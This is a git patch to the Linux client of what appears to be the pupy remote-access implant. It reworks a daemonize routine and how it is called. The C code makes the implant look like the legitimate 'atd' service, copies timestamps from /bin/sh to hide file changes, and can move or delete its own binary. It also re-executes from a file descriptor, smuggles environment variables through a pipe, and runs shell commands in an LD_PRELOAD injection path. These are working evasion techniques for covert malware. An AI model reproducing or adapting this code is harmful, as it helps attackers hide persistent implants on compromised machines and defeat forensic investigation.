From 45ac2bf02ed792d63ff9edc69e91f4743133c154 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Fri, 3 Mar 2017 13:34:14 +0200 Subject: [PATCH] "Securely" pass environment --- client/sources-linux/daemonize.c | 153 ++++++++++++++++++++++++------- client/sources-linux/daemonize.h | 2 +- client/sources-linux/main_exe.c | 7 +- client/sources-linux/pupy.c | 2 +- 4 files changed, 126 insertions(+), 38 deletions(-) diff --git a/client/sources-linux/daemonize.c b/client/sources-linux/daemonize.c index 75aee68f..3cf39de9 100644 --- a/client/sources-linux/daemonize.c +++ b/client/sources-linux/daemonize.c @@ -9,29 +9,34 @@ #include #include #include +#include +#include #ifndef DEFAULT_MTIME_FROM -#define DEFAULT_MTIME_FROM "/bin/sh" -#endif - -#ifndef DEFAULT_ENV_SA0 -#define DEFAULT_ENV_SA0 "__SA0" -#endif - -#ifndef DEFAULT_ENV_SCWD -#define DEFAULT_ENV_SCWD "__SCWD" -#endif - -#ifndef DEFAULT_ENV_CLEANUP -#define DEFAULT_ENV_CLEANUP "__CLEANUP" -#endif - -#ifndef DEFAULT_ENV_MOVE -#define DEFAULT_ENV_MOVE "__MOVE" + #define DEFAULT_MTIME_FROM "/bin/sh" #endif #ifndef DEFAULT_ARGV0 -#define DEFAULT_ARGV0 "/usr/sbin/atd" + #define DEFAULT_ARGV0 "/usr/sbin/atd" +#endif + +#ifdef USE_ENV_ARGS + #ifndef DEFAULT_ENV_SA0 + #define DEFAULT_ENV_SA0 "__SA0" + #endif + + #ifndef DEFAULT_ENV_SCWD + #define DEFAULT_ENV_SCWD "__SCWD" + #endif + + #ifndef DEFAULT_ENV_CLEANUP + #define DEFAULT_ENV_CLEANUP "__CLEANUP" + #endif + + #ifndef DEFAULT_ENV_MOVE + #define DEFAULT_ENV_MOVE "__MOVE" + #endif + #endif #ifndef DEFAULT_SAFE_PATH @@ -48,7 +53,7 @@ #include "daemonize.h" -int daemonize(bool exit_parent) { +int daemonize(int argc, char *argv[], char *env[], bool exit_parent) { pid_t pid; int i; @@ -58,17 +63,51 @@ int daemonize(bool exit_parent) { /* Cleanup environment and reexec */ char self[PATH_MAX] = {}; + char *fd_str = getenv("_"); + int fdenv = -1; - if (getenv("PATH") && readlink("/proc/self/exe", self, sizeof(self)-1) != -1) { + if (fd_str) { + char *end = NULL; + errno = 0; + fdenv = strtol(fd_str, &end, 10); + if ((end == fd_str) || errno) { + fdenv = -1; + } + } + + if (fd_str && fdenv < 0 && readlink("/proc/self/exe", self, sizeof(self)-1) != -1) { +#ifdef USE_ENV_ARGS char *set_argv0 = getenv(DEFAULT_ENV_SA0); char *set_cwd = getenv(DEFAULT_ENV_SCWD); char *cleanup = getenv(DEFAULT_ENV_CLEANUP); char *move = getenv(DEFAULT_ENV_MOVE); + char *mtime_from = DEFAULT_MTIME_FROM; +#else + char *set_argv0 = NULL; + char *set_cwd = NULL; + char *move = NULL; + char *mtime_from = DEFAULT_MTIME_FROM; + + bool cleanup = false; + + char c; + + while ((c = getopt (argc, argv, "0:t:c:m:C")) != -1) + switch (c) { + case '0': set_argv0 = optarg; break; + case 't': mtime_from = optarg; break; + case 'c': set_cwd = optarg; break; + case 'm': move = optarg; break; + case 'C': cleanup = true; break; + }; +#endif + + unsetenv("_"); int fd = -1; struct stat _stat = {}; - stat(DEFAULT_MTIME_FROM, &_stat); + stat(mtime_from, &_stat); if (move) { fd = open(self, O_RDONLY); @@ -119,6 +158,8 @@ int daemonize(bool exit_parent) { fd = open(move? move:self, O_RDONLY); } + int envpipe[2] = {}; + if (fd != -1) { if (cleanup) { unlink(move? move:self); @@ -129,18 +170,70 @@ int daemonize(bool exit_parent) { NULL }; - char *const env[] = {NULL}; + char fdenv_pass[PATH_MAX] = {}; + int r = pipe(envpipe); - if (set_cwd) { - chdir(set_cwd? set_cwd : "/"); + if (r == 0) { + snprintf(fdenv_pass, sizeof(fdenv_pass), "_=%d", envpipe[0]); } - fexecve(fd, argv, env); - /* We shouldn't be here */ - close(fd); + char *const env[] = { + r == 0? fdenv_pass : NULL, + NULL + }; - execve(move? move:self, argv, env); + chdir(set_cwd? set_cwd : "/"); + + pid_t next = fork(); + if (next == 0 || next == -1) { + if (r == 0) + close(envpipe[1]); + + fexecve(fd, argv, env); + /* We shouldn't be here */ + execve(move? move:self, argv, env); + } + + if (r == 0) + close(envpipe[0]); } + close(fd); + + int idx = 0; + for (idx=0;env[idx];idx++) { + unsigned int size = strlen(env[idx]); + int r = write(envpipe[1], &size, 4); + if (r != 4) { + break; + } + r = write(envpipe[1], env[idx], size); + if (r != size) { + break; + } + } + close(envpipe[1]); + exit(0); + } + + if (fdenv > 0) { + for (;;) { + unsigned int size = 0; + int r = read(fdenv, &size, 4); + if (r != 4) { + break; + } + char envstr[PATH_MAX] = {}; + if (size > PATH_MAX-1) { + break; + } + r = read(fdenv, envstr, size); + if (!r || r != size) { + break; + } + envstr[size] = '\0'; + r = putenv(strdup(envstr)); + } + close(fdenv); } /* Set default "safe" path */ @@ -196,10 +289,6 @@ int daemonize(bool exit_parent) { if (setsid ( ) == -1) return -1; - /* set the working directory to the root directory */ - if (chdir ("/") == -1) - return -1; - #ifndef DEBUG /* close all open files--NR_OPEN is overkill, but works */ for (i = 0; i < sysconf(_SC_OPEN_MAX); i++) diff --git a/client/sources-linux/daemonize.h b/client/sources-linux/daemonize.h index 3190d032..b0ae6932 100644 --- a/client/sources-linux/daemonize.h +++ b/client/sources-linux/daemonize.h @@ -5,6 +5,6 @@ #include #include -pid_t daemonize(bool exit_parent); +pid_t daemonize(int argc, char *argv[], char *env[], bool exit_parent); #endif /* DAEMONIZE_H */ diff --git a/client/sources-linux/main_exe.c b/client/sources-linux/main_exe.c index 869160ca..8774b1ef 100644 --- a/client/sources-linux/main_exe.c +++ b/client/sources-linux/main_exe.c @@ -1,10 +1,9 @@ #include "pupy_load.h" #include "daemonize.h" -int main(int argc, char *argv[]) { +int main(int argc, char *argv[], char *env[]) { #ifndef DEBUG - daemonize(true); + daemonize(argc, argv, env, true); #endif - - return mainThread(argc, argv, false); + return mainThread(argc, argv, false); } diff --git a/client/sources-linux/pupy.c b/client/sources-linux/pupy.c index 2724d720..f800f8b5 100644 --- a/client/sources-linux/pupy.c +++ b/client/sources-linux/pupy.c @@ -80,7 +80,7 @@ static PyObject *Py_ld_preload_inject_dll(PyObject *self, PyObject *args) dprint("Program to execute in child context: %s\n", cmdline); - pid_t pid = daemonize(false); + pid_t pid = daemonize(0, NULL, NULL, false); if (pid == 0) { /* Daemonized context */ execl("/bin/sh", "/bin/sh", "-c", cmdline, NULL);